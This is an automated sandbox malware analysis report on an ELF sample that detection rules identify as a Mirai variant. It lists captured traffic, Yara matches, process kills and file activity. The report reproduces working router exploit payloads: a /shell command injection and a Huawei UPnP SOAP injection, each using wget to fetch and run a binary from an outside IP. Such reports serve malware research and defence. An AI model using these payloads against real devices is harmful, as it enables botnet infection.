Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: woofwoof.cfd

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: t9lNEiD3ui.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: t9lNEiD3ui.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: t9lNEiD3ui.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: t9lNEiD3ui.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6203.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6203.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6212.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6212.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6207.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6207.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6209.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6209.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6208.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6208.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6208, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6209, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6212, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6221, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6222, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6224, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6225, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6226, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6227, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6243, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6253, result: successful	Jump to behavior

Source: xfce4-panel.xml.new.33.dr

OLE indicator, VBA macros: true

Source: xfce4-panel.xml.new.33.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6208, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6209, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6212, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6221, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6222, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6224, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6225, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6226, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6227, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6243, result: successful	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	SIGKILL sent: pid: 6253, result: successful	Jump to behavior

Source: t9lNEiD3ui.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: t9lNEiD3ui.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6203.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6203.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6212.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6212.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6207.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6207.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6209.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6209.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6208.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6208.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/1@67/0

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6221)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6222)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6224)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6225)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
